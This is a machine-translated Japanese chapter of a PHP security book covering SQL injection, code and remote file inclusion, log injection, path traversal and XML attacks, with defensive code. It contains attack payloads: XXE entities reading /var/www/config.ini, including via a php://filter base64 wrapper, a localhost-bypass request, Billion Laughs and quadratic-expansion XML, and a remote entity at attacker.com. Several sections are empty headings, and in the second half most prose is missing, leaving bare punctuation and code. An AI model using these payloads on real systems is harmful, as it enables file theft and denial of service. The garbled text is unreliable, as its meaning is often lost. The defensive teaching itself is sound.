本「PHPのセキュリティ」(パート2)。 コードインジェクション攻撃







「PHPのセキュリティ」という本(パート1)







OWASPバージョンによる10の最も一般的な攻撃のリストでは、最初の2つの場所はコードインジェクション攻撃とXSS(クロスサイトスクリプト)で占められています。 XSSは他の多くの種類の攻撃と同様に、実装攻撃の成功に依存するため、それらは密接に関連しています。 この名前の下にあるのは攻撃のクラス全体であり、その間にデータがWebアプリケーションに注入され、攻撃者が必要とする方法で悪意のあるコードを実行または解釈するように強制します。 このような攻撃には、たとえば、XSS、SQLインジェクション、ヘッダーインジェクション、コードインジェクション、フルパス開示が含まれます。 そして、これはほんの一部です。







実装攻撃は、すべてのプログラマにとって恐ろしい話です。 それらは、それらに対する保護の多様性、規模、および(場合によっては)複雑さにより、最も一般的で成功しています。 すべてのアプリケーションは、どこかからデータを取得する必要があります。 XSSとUI Redressは特に一般的であるため、私はそれらに個別の章を設け、それらを一般クラスから分離しました。







OWASPは、展開に関する次の攻撃の定義を提供します。







SQL、OS、LDAPなどの展開機能は、インタープリターがコマンドリクエストの一部として信頼できないデータを受信したときに発生します。 悪意のあるデータは、インタープリターをだまし、特定のコマンドを実行させたり、許可されていないデータにアクセスさせたりする可能性があります。







SQLインジェクション



SQLインジェクションは、最も一般的で非常に危険な形式のインジェクション攻撃です。 この脅威の重大度を過大評価することは困難です。そのため、攻撃の成功に影響を与えるものと、攻撃から身を守る方法を理解することが非常に重要です。







そのため、データはWebアプリケーションに埋め込まれ、SQLクエリで使用されます。 それらは通常、Webフォームなどの信頼性の低い入力ソースからのものです。 ただし、実装は他の場所、たとえばデータベース自体から実行できます。 プログラマーは、データベースの完全なセキュリティをしばしば信じていますが、ある場合に安全だったとしても、これは将来的に安全であるという意味ではありません。 データベースからのデータは、別の方法で証明されるまで、つまり検証されるまで、信頼できないと見なされる必要があります。







攻撃が成功した場合、攻撃者はSQLクエリを操作して、開発者が意図していない操作をデータベースで実行できるようにします。







次のクエリをご覧ください。







$db = new mysqli('localhost', 'username', 'password', 'storedb'); $result = $db->query( 'SELECT * FROM transactions WHERE user_id = ' . $_POST['user_id'] );
      
      





たくさんの株があります。 まず、 user_id



の正確性についてPOSTデータの内容をチェックしませんでした。 次に、 user_id



ソースuser_id



使用するuser_id



教えてくれuser_id



。攻撃者は有効なuser_id



すり抜けることができuser_id



。 おそらく、フォームの非表示フィールドに含まれていたので、編集できないため(安全なと見なされた)(攻撃者がデータを入力できることを忘れながら)。 3番目に、 user_id



をスクリーニングせず、パラメーター(バインドパラメーター)としてクエリに渡しませんでした。これにより、攻撃者は、最初にチェックできないため、SQLクエリを操作する任意の文字列を挿入できます。







これらの3つの省略は、Webアプリケーションでは非常に一般的です。







データベースの信頼に関しては、 user_name



フィールドを使用してトランザクションを探していると想像してください。 名前の範囲は広く、引用符を含めることができます。 攻撃者がユーザー名の1つに埋め込まれた文字列値を保存するとします。 次のクエリのいずれかでこの値を再度使用すると、データベースを信頼できるソースと見なし、侵害された要求を分離または制限しなかったため、クエリ文字列を操作します。







また、別のSQLインジェクションファクターに注意してください。サーバーに永続ストレージを常に保持する必要はありません。 HTML 5は、SQLとJavaScriptを使用してクエリを送信できるクライアント側データベースの使用をサポートしています。 これには、WebSQLとIndexedDBの2つのAPIがあります。 2010年、W3CはWebSQLの選択を推奨しませんでした。 SQLiteをバックエンドとして使用するWebKitブラウザーでサポートされています。 ほとんどの場合、W3Cの推奨にもかかわらず、下位互換性のためにサポートが残ります。 その名前が示すように、このAPIはSQLクエリを受け入れます。つまり、実装による攻撃の標的になる可能性があります。 IndexedDBは、新しい代替のNoSQLデータベースです(SQLクエリを使用する必要はありません)。







SQLインジェクションの例



SQLクエリの操作には、次の目標があります。







  1. データ漏洩。
  2. 保存された情報の開示。
  3. 保存された情報の操作。
  4. 許可のバイパス。
  5. クライアント側のSQLインジェクション。


SQLインジェクション保護



SQLインジェクション保護は、分離の原則に基づいています。 リクエストでデータを使用する前に、フォームが正しいことを確認する必要があります。 また、リクエストに含める前にデータを分離するか、遷移パラメーターとして含める必要があります。







確認する



繰り返すことにうんざりしていません。現在のリクエストのPHPソースコードで明示的に作成されなかったすべてのデータは信頼できません。 それらを厳密にチェックし、チェックに合格しなかったものはすべて拒否します。 データを「修正」しようとしないでください。形式にわずかな表面的な変更のみを加えることができます。







一般的なエラーには、現在のさらなる使用のためにデータをチェックすること(たとえば、画面に表示したり、コンピューティングするため)や、結果として情報が保存されるデータベースフィールドをチェックしないことが含まれます。







シールド



mysqli



拡張機能を使用すると、SQLクエリに含まれるすべてのデータを分離できます。 これは、 mysqli_real_escape_string()



関数によって行われます。 PostgresSQLのpgsql



拡張は、関数pg_escape_bytea()



pg_escape_identifier()



pg_escape_literal()



およびpg_escape_string()



ます。 mssql (Microsoft SQL Server)



拡張機能mssql (Microsoft SQL Server)



には分離関数はなく、 addslashes()



を使用するアプローチaddslashes()



非効率的です。 カスタム関数が必要です。







あなたの人生をさらに複雑にするために、リクエストに入力されたデータを分離する際に間違いを犯す権利はないと言います。 ワンミス-そして、あなたは攻撃に対して脆弱です。







まとめると。 シールドは最良の保護オプションではありません。 最後の手段として頼る価値があります。 データベースライブラリで、パラメータを強制せずにベアSQLクエリまたはクエリパーツを構成できる場合に必要になることがあります。 それ以外の場合は、分離を完全に回避することをお勧めします。 このアプローチは複雑で、エラーを引き起こし、データベースの拡張に応じて異なります。







パラメータ化されたクエリ(準備済みの式)



パラメータ化、またはパラメータバインディングは、SQLクエリを作成するための推奨される方法です。 すべての優れたデータベースライブラリは、デフォルトでそれを使用します。 PHPのPDO拡張機能を使用した例を次に示します。







 if(ctype_digit($_POST['id']) && is_int($_POST['id'])) { $validatedId = $_POST['id']; $pdo = new PDO('mysql:store.db'); $stmt = $pdo->prepare('SELECT * FROM transactions WHERE user_id = :id'); $stmt->bindParam(':id', $validatedId, PDO::PARAM_INT); $stmt->execute(); } else { //   id      }
      
      





PDO式で使用できるbindParam()



メソッドを使用すると、定義済みの式で表される「プレースホルダー」にパラメーターをバインドできます。 このメソッドは、 PDO::PARAM_INT



PDO::PARAM_BOOL



PDO::PARAM_LOB



およびPDO::PARAM_STR



などの基本データ型のパラメーターを受け入れます。 PDO::PARAM_STR



これは特に指定がない限りデフォルトで実行されるため、他の値を忘れないでください!







手動分離とは異なり、パラメータバインディング(またはデータベースライブラリで使用される別の方法)は、自動的に添付されたデータを正しく分離するため、使用する関数を覚えておく必要はありません。 また、一貫したパラメーターバインディングは、すべてを手動で分離する必要があることを忘れないようにするよりもはるかに信頼性があります。







最小特権の実装



成功したSQL実装を中止することは、それを完全に防ぐことと同じくらい重要です。 攻撃者がSQLクエリを実行できるようになると、特定のデータベースユーザーとして実行します。 最小特権の原則により、すべてのユーザーがタスクを実行するために絶対に必要な特権のみを持っていることを確認できます。







ユーザーに幅広い権限がある場合、攻撃者はテーブルを削除し、他のユーザーの権限を変更して、ユーザーに代わって新しいSQLインジェクションを実行できます。 これを回避するには、ルート、管理者、または高い権限を持つ他のユーザーに代わって、Webアプリケーションからデータベースにアクセスしないでください。







この原則のもう1つの用途は、データベースに対するデータの読み取りと書き込みの役割の分離です。 書き込み専用アクセス許可を持つユーザーと読み取り専用アクセス許可を持つ別のユーザーを選択します。 攻撃が「読み取り」ユーザーに向けられている場合、攻撃者はテーブル内のデータを操作したり、書き込むことができません。 さらに狭いフレームワーク内でアクセスを制限することにより、成功したSQLインジェクション攻撃の影響を減らすことができます。







多くのWebアプリケーション、特にオープンソースアプリケーションは、特権レベルがほとんど確実にチェックされないデータベースユーザーを1人だけ使用するように設計されています。 したがって、この瞬間を忘れないでください。また、管理者アカウントでアプリケーションを実行しようとしないでください。







コードインジェクション(リモートファイルインクルージョン)



コードインジェクションとは、攻撃者がWebアプリケーションにソースコードを追加し、それを解釈して実行できるようにする手段です。 同時に、たとえばJavaScriptなどのクライアント部分にコードを埋め込むことについては話していません;ここでは、XSS攻撃がすでに使用されています。







信頼性の低い入力ソースからソースコードを直接埋め込むか、WebアプリケーションにローカルファイルシステムまたはURLなどの外部リソースから強制的にダウンロードさせることができます。 外部ソースをインクルードした結果としてコードが挿入される場合、通常はリモートファイルインクルージョン(RFI)と呼ばれますが、RFI自体は常にコードを挿入することを目的としています。







コードを実装する主な理由は次のとおりです。









最後の点に特に注意してください。この場合、信頼できないユーザーがサーバーにファイルをアップロードできます。







コード挿入の例



PHPにはコードインジェクションに関する多くの目標があるため、この種の攻撃はプログラマのウォッチリストをリードします。







ファイルの包含



コードインジェクションの最も明白な目標は、 include()



include_once()



require()



およびrequire_once()



関数です。 信頼できない入力データにより、これらの関数に渡されるpath



パラメーターを決定できる場合、含めるファイルの選択をリモートで制御できます。 含まれるファイルは実際のPHPファイルである必要はなく、テキストデータを格納できる形式のファイルを使用できます(つまり、ほとんど制限なし)。







path



パラメータは、ディレクトリトラバーサル攻撃またはリモートファイルのインクルードに対して脆弱である可能性もあります。 path



で../または...文字の組み合わせを使用すると、攻撃者はPHPプロセスがアクセスできるほぼすべてのファイルにジャンプできます。 同時に、PHP構成では、デフォルトで、allow_url_includeが無効になっていない場合、上記の関数はURLを受け入れます。







確認する



PHP関数eval()



は、実行のためにPHPコードを1行受け取ります。







正規表現インジェクション



PHPのPCRE関数(Perl互換の正規表現) preg_replace()



では、e修飾子(PREG_REPLACE_EVAL)を使用できます。 これは、置換後にPHPコードと見なされる置換文字列を意味します。 また、この行に信頼性の低い入力がある場合、実行可能なPHPコードを挿入できます。







不完全なファイル包含ロジック



定義上、Webアプリケーションには、要求の処理に必要なファイルが含まれています。 ルーティング、依存関係管理、起動、およびその他のプロセスのロジックの欠陥を利用する場合、リクエストまたはそのパラメーターのパスを操作すると、サーバーに特定のローカルファイルが含まれるようになります。 Webアプリケーションはそのような操作を処理するように設計されていないため、結果は予測不能です。 たとえば、アプリケーションは、コマンドラインでの使用のみを意図したルートを意図せずに点灯します。 または、デザイナーがタスクを実行する他のクラスを表示します(そのようなクラスを設計しない方が良いですが、それでも発生します)。 これらのシナリオはいずれも、アプリケーションのバックエンド操作に干渉する可能性があります。これにより、直接アクセスを意味しないリソース集中型の操作に対してデータを操作したり、DOS攻撃を実行したりできます。







コード実装タスク



このタイプの攻撃により、任意のPHPコードを実行できるため、タスクの範囲は非常に広いです。







コードインジェクションに対する防御



コマンドインジェクション



コマンドインジェクションの例



コマンドインジェクションに対する防御



ログインジェクション(ログファイルインジェクション)



多くのアプリケーションはログを収集し、許可されたユーザーはしばしばHTMLインターフェースを介してログを表示します。 したがって、ログは、他の攻撃を偽装し、ログを表示する人を欺き、さらにはログを読み取って分析する監視アプリケーションのユーザーを攻撃したい攻撃者の主な目標の1つです。







ログの脆弱性は、ログの記録を制御するメカニズムと、ログを表示および分析する際の信頼できないソースとしてのログデータの処理に依存します。







単純なロギングシステムは、 file_put_contents()



を使用してテキスト文字列をfile_put_contents()



書き込むことができます。 たとえば、プログラマーは誤った承認の試みを次の形式の文字列の形式で登録します。







 sprintf("Failed login attempt by %s", $username);
      
      





しかし、攻撃者がフォームで「AdminnによるAdminnSuccessful login」という名前を使用するとどうなりますか?







この行が信頼できない入力データからログに挿入される場合、攻撃者は管理者パスワードを入力する無害な失敗を使用して、失敗した認証試行を正常にマスクします。 成功したログイン試行を追加すると、データの不審性はさらに低下します。







ここでの全体のポイントは、攻撃者があらゆる種類のエントリをログに追加できることです。 XSSベクトルや、コンソールでログエントリを読みにくくする文字を埋め込むこともできます。







ログ実装タスク



実装の目標の1つは、ログ形式のインタープリターです。 分析ツールが正規表現を使用してログエントリを解析し、それらを部分に分割して異なるフィールドに分散させる場合、正規表現が正しいフィールドではなく埋め込みフィールドを選択する行を作成および実装できます。 たとえば、このエントリはいくつかの問題の原因になります。







 $username = "iamnothacker! at Mon Jan 01 00:00:00 +1000 2009"; sprintf("Failed login attempt by %s at %s", $username, )
      
      





ログの導入によるより高度な攻撃は、ブラウザでログを表示するためのディレクトリトラバーサルを使用した攻撃に基づいています。 適切な条件下で、ログメッセージにPHPコードを埋め込み、ブラウザでエントリを含むファイルを開くと、攻撃者の要求に応じて適切にフォーマットされ、実行されるコードの実装が成功します。 そして、サーバー上で悪意のあるPHPを実行することになると、損害を軽減できる保護の分離の有効性のみが期待できます。







ロギングに対する保護



最も簡単な方法は、ホワイトリストを使用してすべての外部ログメッセージをフィルタリングすることです。 文字セットを数字、文字、スペースに制限するとします。 未解決の文字を含むメッセージは破損していると見なされます。 次に、ログファイルを実装する潜在的な試みに関するログがジャーナルに表示されます。 これは、メッセージに信頼できない入力を含めることを避けられない場合に、単純なテキストログを保護する簡単な方法です。







保護の2番目の方法は、文字の限られたセットをサポートするbase64などのシステムを使用して、信頼できない入力データの一部を変換する一方で、さまざまな情報をテキスト形式で保存することです。







パストラバーサル(ディレクトリトラバーサルと呼ばれる)



トラバーサル攻撃は、Webアプリケーションのバックエンドのファイルの読み取りまたは書き込み操作に影響を与える試みです。 これは、バックエンド操作に関係するファイルのパスを操作できるようにするパラメーターを導入することによって行われます。 したがって、このタイプの攻撃は、情報開示とローカル/リモートファイルインジェクションを促進します。







このような攻撃を個別に検討しますが、成功の根拠は正確にパスを回避することにあります。 以下で説明する関数はファイルパスの操作に固有のものであるため、多くのPHP関数は通常の意味でのファイルパスを受け入れないことに言及するのは理にかなっています。 代わりに、 include()



file()



などの関数include()



URIを受け入れます。







それは完全に不自然に見えます。 ただし、これは、絶対パスを使用する次の2つの関数呼び出しが同等であることを意味します(たとえば、相対パスのオートロードに依存しない)。







 include('/var/www/vendor/library/Class.php'); include('file:///var/www/vendor/library/Class.php');
      
      





実際、相対パスは外部で処理されます(php.iniのinclude_path



設定および利用可能なオートローダー)。 このような場合、ファイルパスの先頭に信頼できないデータが導入された場合、攻撃者がHTTPまたはFTP URIを挿入できる場合、PHP関数は、ファイルURIスキームの置換を含む多くの形式のパラメーター操作に対して特に脆弱です。 これについては、リモートファイルインクルージョン攻撃のセクションで詳しく説明しますが、ここではファイルシステムパスのバイパスに焦点を当てます。







この脆弱性には、別のファイルにアクセスするためのパスの変更が含まれます。 これは通常、一連の../シーケンスを引数に埋め込むことで実現され、関数にアタッチされるかinclude()



require()



file_get_contents()



ような関数に完全に挿入されますDOMDocument::load()









../シーケンスを使用して、攻撃者はシステムを親ディレクトリに強制的に戻します。 したがって、パス/var/www/public/../vendor



実際には/var/www/vendor



につながります。 / public



後のシーケンス../は、親ディレクトリ、つまり/ var/www



戻ります。 したがって、攻撃者は、Webサーバーからアクセス可能な/ public



ディレクトリの外部にあるファイルにアクセスします。







もちろん、回るのはただ戻ることだけではありません。 新しいパス要素を実装して、.htaccessの制限設定のためにブラウザーからアクセスできない子ディレクトリにアクセスできます。 ファイルシステムを使用したPHP操作では、Webサーバー上の非公開ファイルおよびディレクトリへのアクセス制御の構成は考慮されません。







パストラバーサルの例



パストラバーサルに対する防御



XMLインジェクション



サーバーとクライアント間でデータを転送する軽量の手段としてJSONを導入しましたが、XMLは依然として一般的な代替手段であり、WebサービスAPIはJSONと並行してそれをサポートすることがよくあります。 XMLは、XMLスキーム(RSS、Atom、SOAP、RDFなど)を使用してデータを交換するためにも使用されます。







XMLはいたるところにあります。Webアプリケーションサーバー、ブラウザ(XMLHttpRequestリクエストとレスポンスの推奨形式として)、およびブラウザ拡張機能にあります。 DOMおよびSimpleXMLおよびXMLReader拡張機能でPHPによって使用されるlibxml2などの一般的なパーサーによる普及とデフォルト処理を考えると、XMLは実装攻撃の標的になっています。 ブラウザがXML交換に積極的に関与している場合、許可されたユーザーはXSSを介して、悪意のあるユーザーによって実際に作成されたXML要求を送信できることに留意する必要があります。







外部XMLエンティティの埋め込み(XXE)



XML解析ライブラリがカスタムエンティティへの参照の使用をサポートすることが多いため、このような攻撃が存在します。 >



などの特殊なマークアップ文字を表すために使用される標準のXMLエンティティ拡張機能が紹介されます>



&lt



; および&apos



XMLでは、XMLドキュメント自体を使用してカスタムエンティティを定義することにより、標準エンティティのセットを拡張できます。 オプションのDOCTYPEに含めることにより、直接定義できます。 それらが表す拡張値は、含まれるべき外部リソースを指す場合があります。 XXE- XML , . . XXE XXE-, .







, , harmless:







 <!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>
      
      





XML- &harmless; , :







 <?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless "completely harmless">]> <results> <result>This result is &harmless;</result> </results>
      
      





XML- PHP DOM XML, , . :







This result is completely harmless









, XML . , XML , . , , XML, . , :







 <?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]> <results> <result>&harmless;</result> </results>
      
      





&harmless;



。 XML- - . , . XML, , , . . XML, XML, , . PHP , , HTTP- -, .







PHP XML: PHP DOM, SimpleXML XMLReader. libxml2, . , PHP XXE-, - , XML.







, XHTML HTML 5 XML. , XHTML- XML- HTML 5 XML, DOMDocument::loadXML()



DOMDocument::loadHTML()



. XML- XML-. , libxml2 HTML 5 DOCTYPE, XHTML DOCTYPES.







XML-





, , XML- .







 <?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]> <results> <result>&harmless;</result> </results>
      
      





&harmless;



. , , . , , . , : XML-, , XML-. , PHP:







 <?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY harmless SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/config.ini" > ]> <results> <result>&harmless;</result> </results>
      
      





PHP URI, , : file_get_contents()



, require()



, require_once()



, file()



, copy()



. PHP , , . , , convert.base-64-encode



.







, PHP , . , . , . , , .









. XXE- -, . . :







 if (isset($_SERVER['HTTP_CLIENT_IP']) || isset($_SERVER['HTTP_X_FORWARDED_FOR']) || !in_array(@$_SERVER['REMOTE_ADDR'], array( '127.0.0.1', '::1', )) ) { header('HTTP/1.0 403 Forbidden'); exit( 'You are not allowed to access this file.' ); }
      
      





PHP, , PHP- , . . localhost. XXE- , , HTTP- XML- localhost.







 <?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY harmless SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php" > ]> <results> <result>&harmless;</result> </results>
      
      





, . , .







DOS-



DOS- , . XML- HTTP-, .







DOS- XXE- XML-.







XML-



, , . DOM, SimpleXML XMLReader libxml2, libxml_disable_entity_loader()



, . , , DOCTYPE, , HTTP- .







 $oldValue = libxml_disable_entity_loader(true); $dom = new DOMDocument(); $dom->loadXML($xml); libxml_disable_entity_loader($oldValue);
      
      





, XML , URI.







, , . «» XML, , XXE-:







 libxml_disable_entity_loader(true);
      
      





TRUE . , Docbook XML HTML, XSL- .







libxml2 — . PHP-, - XML, «» .







, , XML- DOCTYPE. , XML-, XML- . , — , . . , .







 /** * Attempt a quickie detection */ $collapsedXML = preg_replace("/[:space:]/", '', $xml); if(preg_match("/<!DOCTYPE/i", $collapsedXml)) { throw new \InvalidArgumentException( 'Invalid XML: Detected use of illegal DOCTYPE' ); }
      
      





, . -, ? , , (, ). , libxml_disable_entity_loader()



, , . XML- (XML Entity Expansion).







XML-



XML-. DOS- . DOCTYPE XML , , , XML- . . XML- HTML 5 , libxml2 HTML.







XML-



XML- .









— « ». . , , XML- XML.







 <?xml version="1.0"?> <!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]> <results> <result>Now include &long; lots of times to expand the in-memory size of this XML structure</result> <result>&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; Keep it going... &long;&long;&long;&long;&long;&long;&long;...</result> </results>
      
      





, XML- , . , DOS-. : XML , .









XML, . (resolve) , . , XML- (Billion Laughs Attack).







 <?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY x0 "BOOM!"> <!ENTITY x1 "&x0;&x0;"> <!ENTITY x2 "&x1;&x1;"> <!ENTITY x3 "&x2;&x2;"> <!-- Add the remaining sequence from x4...x100 (or boom) --> <!ENTITY x99 "&x98;&x98;"> <!ENTITY boom "&x99;&x99;"> ]> <results> <result>Explode in 3...2...1...&boom;</result> </results>
      
      





XML- XML, . , , 2^100 — &x0;



。 !









XML DTD. , XML- HTTP-. XXE ( XML-), . , XXE, .







: XML- HTTP- . , , HTTP-. , - , , .







 <?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml"> ]> <results> <result>3..2..1...&cascade<result> </results>
      
      





DOS- : , . : (resolve) XML- . XXE-, DOS-.







XML-



, XXE-. (resolution) XML- , ; HTTP- , XML- PHP, libxml2.







libxml_disable_entity_loader(true);









PHP XML DTD DOCTYPE. PHP LIBXML_NOENT



, DOMDocument::$substituteEntities



, . , .







libxml2 , , . ; - , libxml2 .







, — XML- . , . , — XML, DOCTYPE. , DOCTYPE , . . HTTPS-. , PHP DTD. , libxml_disable_entity_loader(TRUE)



, , , (node value). .







 $dom = new DOMDocument; $dom->loadXML($xml); foreach ($dom->childNodes as $child) { if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) { throw new \InvalidArgumentException( 'Invalid XML: Detected use of illegal DOCTYPE' ); } }
      
      





, libxml_disable_entity_loader



TRUE, (resolve) XML. , XML- libxml2, .







SimpleXML, , simplexml_import_dom()



DOMDocument.







SOAP Injection



TBD








All Articles